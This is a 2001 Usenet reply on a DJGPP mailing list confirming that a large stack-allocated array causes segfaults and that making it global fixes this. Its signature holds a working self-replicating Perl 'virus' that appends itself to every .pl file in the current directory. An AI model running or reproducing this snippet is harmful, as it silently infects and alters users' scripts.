From: rpolzer AT www42 DOT t-offline DOT de (echo 'Rudolf Polzer'>/dev/null) Newsgroups: comp.os.msdos.djgpp Subject: Re: Hunting Sigsev Errors References: <3ac02f4b$0$14446$272ea4a1 AT news DOT execpc DOT com> <99t0pm$k1n$1 AT nets3 DOT rz DOT RWTH-Aachen DOT DE> X-newsgroup: comp.os.msdos.djgpp X-realname: Greg Donnells X-Ringtones: http://ringtones AT durchnull DOT de X-Original: no Message-ID: User-Agent: slrn/0.9.6.3 (Linux) Date: Wed, 18 Apr 2001 14:31:32 +0200 Lines: 20 NNTP-Posting-Host: 213.6.52.3 X-Trace: 987596119 news.freenet.de 31639 213.6.52.3 X-Complaints-To: abuse AT freenet DOT de To: djgpp AT delorie DOT com DJ-Gateway: from newsgroup comp.os.msdos.djgpp Reply-To: djgpp AT delorie DOT com Greg Donnells wrote: > Would declaring the variable as a global (thus moving it's storage > allocation to the data segment as opposed to the stack segment) also correct > this scenario? yes > > > > This is, as you suspected, your problem. You've just allocated > > ARRAYMAX times 516 bytes, or 516 KB of memory, on the stack. That's > > more than the default size of the whole stack, and will, indeed, cause > > a solid crash. -- #!/usr/bin/perl eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X $0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"}); ####################### http://learn.to/quote #######################